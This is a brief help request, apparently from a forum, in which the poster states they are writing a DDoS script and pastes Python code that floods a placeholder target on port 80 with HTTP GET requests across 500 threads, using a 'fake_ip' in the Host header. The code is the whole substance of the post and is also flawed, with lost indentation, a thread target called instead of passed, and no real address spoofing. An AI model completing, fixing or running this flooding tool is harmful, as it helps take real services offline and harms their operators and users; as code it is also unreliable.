Help me with this code
I am trying to write a DDoS script. What am I missing?
import socket
import threading
target = "ip_target"
fake_ip = "fake_ip"
port = 80
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("get /" + " HTTP/1.1\r\n").encode("ascii"), (target, port))
s.sendto(("host:" + fake_ip + "\r\n\r\n").encode("ascii"), (target, port))
for i in range(500):
thread = threading.Thread(target=attack())
thread.start()